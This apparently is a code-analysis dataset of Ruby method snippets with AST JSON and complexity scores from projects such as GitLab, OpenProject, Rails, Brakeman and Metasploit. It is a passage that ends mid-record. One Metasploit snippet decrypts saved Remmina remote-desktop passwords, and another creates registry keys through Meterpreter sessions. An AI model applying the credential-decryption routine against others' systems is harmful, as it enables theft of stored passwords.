{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/custom_styles_controller.rb","start_line":191,"raw_source":"def export_demo_pdf_download\n    result = ::Exports::PDF::DemoGenerator.new.export!\n    expires_in 0, public: false\n    send_data result.content,\n              filename: result.title,\n              type: \"application/pdf\",\n              disposition: \"inline\"\n  rescue StandardError => e\n    Rails.logger.error \"Failed to generate demo PDF: #{e.message}\"\n    flash[:error] = e.message\n    redirect_to custom_style_path\n  end","complexity_score":20.5,"ast_json":"{\"type\":\"def\",\"children\":[\"export_demo_pdf_download\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exports\"]},\"PDF\"]},\"DemoGenerator\"]},\"new\"]},\"export!\"]}]},{\"type\":\"send\",\"children\":[null,\"expires_in\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"content\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"application/pdf\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"disposition\"]},{\"type\":\"str\",\"children\":[\"inline\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to generate demo PDF: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"custom_style_path\"]}]}]}]},null]}]}","id":"893d34b8-2885-4583-8b5f-6a539f298773"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/time_travel_test.rb","start_line":44,"raw_source":"def test_time_helper_travel_with_block\n    Time.stub(:now, Time.now) do\n      expected_time = Time.now + 1.day\n\n      travel 1.day do\n        assert_equal expected_time.to_fs(:db), Time.now.to_fs(:db)\n        assert_equal expected_time.to_date, Date.today\n        assert_equal expected_time.to_datetime.to_fs(:db), DateTime.now.to_fs(:db)\n\n        assert_equal expected_time.to_fs(:db), Time.new.to_fs(:db)\n        assert_not_equal expected_time.to_fs(:db), Time.new(precision: 3).to_fs(:db)\n        assert_equal Time.new(\"2000-12-31 23:59:59.567\"), Time.new(\"2000-12-31 23:59:59.56789\", precision: 3)\n      end\n\n      assert_not_equal expected_time.to_fs(:db), Time.now.to_fs(:db)\n      assert_not_equal expected_time.to_date, Date.today\n      assert_not_equal expected_time.to_datetime.to_fs(:db), DateTime.now.to_fs(:db)\n      assert_equal Time.new(\"2000-12-31 23:59:59.567\"), Time.new(\"2000-12-31 23:59:59.56789\", precision: 3)\n    end\n  end","complexity_score":71.75,"ast_json":"{\"type\":\"def\",\"children\":[\"test_time_helper_travel_with_block\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"now\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"travel\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_time\"]},\"to_fs\",{\"type\":\"sym\",\"children\":[\"db\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_fs\",{\"type\":\"sym\",\"children\":[\"db\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_time\"]},\"to_date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"today\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_time\"]},\"to_datetime\"]},\"to_fs\",{\"type\":\"sym\",\"children\":[\"db\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"now\"]},\"to_fs\",{\"type\":\"sym\",\"children\":[\"db\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_time\"]},\"to_fs\",{\"type\":\"sym\",\"children\":[\"db\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"new\"]},\"to_fs\",{\"type\":\"sym\",\"children\":[\"db\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_time\"]},\"to_fs\",{\"type\":\"sym\",\"children\":[\"db\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"int\",\"children\":[3]}]}]}]},\"to_fs\",{\"type\":\"sym\",\"children\":[\"db\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"new\",{\"type\":\"str\",\"children\":[\"2000-12-31 23:59:59.567\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"new\",{\"type\":\"str\",\"children\":[\"2000-12-31 23:59:59.56789\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_time\"]},\"to_fs\",{\"type\":\"sym\",\"children\":[\"db\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_fs\",{\"type\":\"sym\",\"children\":[\"db\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_time\"]},\"to_date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"today\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_time\"]},\"to_datetime\"]},\"to_fs\",{\"type\":\"sym\",\"children\":[\"db\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"now\"]},\"to_fs\",{\"type\":\"sym\",\"children\":[\"db\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"new\",{\"type\":\"str\",\"children\":[\"2000-12-31 23:59:59.567\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"new\",{\"type\":\"str\",\"children\":[\"2000-12-31 23:59:59.56789\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}]}]}","id":"df68aa98-e6d2-4b15-b2c1-c876b96a90fb"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails6.rb","start_line":662,"raw_source":"def test_dynamic_render_path_phlex_component\n    assert_no_warning :type => :warning,\n      :warning_code => 15,\n      :warning_type => \"Dynamic Render Path\",\n      :line => 87,\n      :message => /^Render\\ path\\ contains\\ parameter\\ value/,\n      :confidence => 2,\n      :relative_path => \"app/controllers/groups_controller.rb\",\n      :code => s(:render, :action, s(:call, s(:const, :TestPhlexComponent), :new, s(:call, s(:params), :require, s(:str, \"name\"))), s(:hash)),\n      :user_input => s(:call, s(:params), :require, s(:str, \"name\"))\n  end","complexity_score":16.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_dynamic_render_path_phlex_component\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_no_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Dynamic Render Path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[87]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Render\\\\ path\\\\ contains\\\\ parameter\\\\ value\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/controllers/groups_controller.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"render\"]},{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"const\"]},{\"type\":\"sym\",\"children\":[\"TestPhlexComponent\"]}]},{\"type\":\"sym\",\"children\":[\"new\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"require\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"str\"]},{\"type\":\"str\",\"children\":[\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"hash\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"require\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"str\"]},{\"type\":\"str\",\"children\":[\"name\"]}]}]}]}]}]}]}","id":"e68cf27c-5f54-44d7-917f-6c2f40761e32"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/dynamic_dialog_field_value_processor.rb","start_line":2,"raw_source":"def self.values_from_automate(dialog_field)\n    new.values_from_automate(dialog_field)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"values_from_automate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dialog_field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\"]},\"values_from_automate\",{\"type\":\"lvar\",\"children\":[\"dialog_field\"]}]}]}","id":"4be3806e-bfb5-41c9-9ec0-db69178be12a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client/commit_service.rb","start_line":646,"raw_source":"def diff_between_commits_request_params(from_id, to_id, options)\n        {\n          repository: @gitaly_repo,\n          left_commit_id: from_id,\n          right_commit_id: to_id,\n          paths: options.fetch(:paths, []).compact.map { |path| encode_binary(path) }\n        }\n      end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_between_commits_request_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"from_id\"]},{\"type\":\"arg\",\"children\":[\"to_id\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"ivar\",\"children\":[\"@gitaly_repo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"left_commit_id\"]},{\"type\":\"lvar\",\"children\":[\"from_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"right_commit_id\"]},{\"type\":\"lvar\",\"children\":[\"to_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"paths\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"paths\"]},{\"type\":\"array\",\"children\":[]}]},\"compact\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}]}","id":"86a2a3b9-9326-4671-9df4-a65612af66e8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/remmina_creds.rb","start_line":55,"raw_source":"def decrypt(secret, data)\n    c = OpenSSL::Cipher.new('des3')\n    c.decrypt\n    key_data = Base64.decode64(secret)\n    # the key is the first 24 bytes of the secret\n    c.key = key_data[0, 24]\n    # the IV is the last 8 bytes of the secret\n    c.iv = key_data[24, 8]\n    # passwords less than 16 characters are padded with nulls\n    c.padding = 0\n    p = c.update(Base64.decode64(data))\n    p << c.final\n    # trim null-padded, < 16 character passwords\n    p.gsub(/\\x00*$/, '')\n  end","complexity_score":17.3,"ast_json":"{\"type\":\"def\",\"children\":[\"decrypt\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"secret\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Cipher\"]},\"new\",{\"type\":\"str\",\"children\":[\"des3\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"decrypt\"]},{\"type\":\"lvasgn\",\"children\":[\"key_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"decode64\",{\"type\":\"lvar\",\"children\":[\"secret\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"key=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_data\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[24]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"iv=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_data\"]},\"[]\",{\"type\":\"int\",\"children\":[24]},{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"padding=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"update\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"decode64\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"final\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\x00*$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"27a522ae-70b7-4761-9aa0-b0e4e0b3d6a9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage/service_ping/payload_keys_processor.rb","start_line":15,"raw_source":"def key_paths\n          @key_paths ||= payload_keys.to_a.flatten.compact\n        end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"key_paths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@key_paths\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload_keys\"]},\"to_a\"]},\"flatten\"]},\"compact\"]}]}]}","id":"d7d72993-59d7-4744-948c-810b20335311"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter/type_filter.rb","start_line":33,"raw_source":"def allowed_values\n    @allowed_values ||= types.map { |s| [s.name, s.id.to_s] }\n  end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@allowed_values\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"types\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"id\"]},\"to_s\"]}]}]}]}]}","id":"31d3c809-acc8-4ddb-9fee-afd7ba513367"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/build/artifacts/path.rb","start_line":8,"raw_source":"def initialize(path)\n            @path = path.dup.force_encoding('UTF-8')\n          end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"dup\"]},\"force_encoding\",{\"type\":\"str\",\"children\":[\"UTF-8\"]}]}]}]}","id":"df46ae64-68d4-4085-b675-4408eb01fbd0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows/registry.rb","start_line":126,"raw_source":"def registry_createkey(key, view = REGISTRY_VIEW_NATIVE)\n    if session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_REGISTRY_CREATE_KEY)\n      meterpreter_registry_createkey(key, view)\n    else\n      shell_registry_createkey(key, view)\n    end\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"registry_createkey\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"optarg\",\"children\":[\"view\",{\"type\":\"const\",\"children\":[null,\"REGISTRY_VIEW_NATIVE\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"commands\"]},\"include?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"Extensions\"]},\"Stdapi\"]},\"COMMAND_ID_STDAPI_REGISTRY_CREATE_KEY\"]}]},{\"type\":\"send\",\"children\":[null,\"meterpreter_registry_createkey\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"view\"]}]},{\"type\":\"send\",\"children\":[null,\"shell_registry_createkey\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"view\"]}]}]}]}","id":"f5a1120e-289e-4ee3-8ed1-b6c8655b4b34"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/todo_service.rb","start_line":555,"raw_source":"def target_namespace(target)\n    project = target.project\n    project&.namespace || target.try(:namespace)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"target_namespace\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"project\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"namespace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"try\",{\"type\":\"sym\",\"children\":[\"namespace\"]}]}]}]}]}","id":"8a8c73a0-bb1a-4c42-8386-ee99d57f2cc7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/discussion.rb","start_line":129,"raw_source":"def last_updated_at\n    last_note.created_at\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"last_updated_at\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_note\"]},\"created_at\"]}]}","id":"b871acae-83fd-48ba-9000-b501bae3622a"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/custom_actions/table_component.rb","start_line":47,"raw_source":"def inline_create_link\n      link_to new_custom_action_path,\n              aria: { label: t(\"custom_actions.new\") },\n              class: \"wp-inline-create--add-link\",\n              title: t(\"custom_actions.new\") do\n        helpers.op_icon(\"icon icon-add\")\n      end\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"inline_create_link\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"send\",\"children\":[null,\"new_custom_action_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"aria\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"str\",\"children\":[\"custom_actions.new\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"wp-inline-create--add-link\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"str\",\"children\":[\"custom_actions.new\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"op_icon\",{\"type\":\"str\",\"children\":[\"icon icon-add\"]}]}]}]}","id":"06808904-b1f8-4d47-9999-66b0f7526e19"}
{"repo_name":"ahoy","file_path":"./repos/ahoy/test/controller_test.rb","start_line":113,"raw_source":"def test_mask_ips_ipv6\n    with_options(mask_ips: true) do\n      get products_url, env: {\"REMOTE_ADDR\" => \"2001:4860:4860:0:0:0:0:8844\"}\n      assert_equal \"2001:4860:4860::\", Ahoy::Visit.last.ip\n    end\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_mask_ips_ipv6\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mask_ips\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"products_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"REMOTE_ADDR\"]},{\"type\":\"str\",\"children\":[\"2001:4860:4860:0:0:0:0:8844\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2001:4860:4860::\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ahoy\"]},\"Visit\"]},\"last\"]},\"ip\"]}]}]}]}]}","id":"5c3bcfc5-aa35-46e7-a1c8-d15b3ed6ec33"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250422144359_drop_ci_runners_archived.rb","start_line":117,"raw_source":"def recreate_archive_table\n    execute(<<-SQL)\n      CREATE TABLE #{ARCHIVED_TABLE_NAME} (\n        id bigint NOT NULL,\n        token character varying,\n        created_at timestamp without time zone,\n        updated_at timestamp without time zone,\n        description character varying,\n        contacted_at timestamp without time zone,\n        active boolean DEFAULT true NOT NULL,\n        name character varying,\n        run_untagged boolean DEFAULT true NOT NULL,\n        locked boolean DEFAULT false NOT NULL,\n        access_level integer DEFAULT 0 NOT NULL,\n        maximum_timeout integer,\n        runner_type smallint NOT NULL,\n        token_encrypted character varying,\n        public_projects_minutes_cost_factor double precision DEFAULT 1.0 NOT NULL,\n        private_projects_minutes_cost_factor double precision DEFAULT 1.0 NOT NULL,\n        maintainer_note text,\n        token_expires_at timestamp with time zone,\n        allowed_plans text[] DEFAULT '{}'::text[] NOT NULL,\n        registration_type smallint DEFAULT 0 NOT NULL,\n        creator_id bigint,\n        creation_state smallint DEFAULT 0 NOT NULL,\n        allowed_plan_ids bigint[] DEFAULT '{}'::bigint[] NOT NULL,\n        sharding_key_id bigint,\n        CONSTRAINT check_46c685e76f CHECK ((char_length((description)::text) <= 1024)),\n        CONSTRAINT check_91230910ec CHECK ((char_length((name)::text) <= 256)),\n        CONSTRAINT check_ce275cee06 CHECK ((char_length(maintainer_note) <= 1024))\n      );\n\n      ALTER TABLE ONLY #{ARCHIVED_TABLE_NAME} ADD CONSTRAINT #{ARCHIVED_TABLE_NAME}_pkey PRIMARY KEY (id);\n\n      CREATE INDEX index_ci_runners_on_active ON #{ARCHIVED_TABLE_NAME} USING btree (active, id);\n      CREATE INDEX index_ci_runners_on_contacted_at_and_id_desc ON #{ARCHIVED_TABLE_NAME}\n        USING btree (contacted_at, id DESC);\n      CREATE INDEX 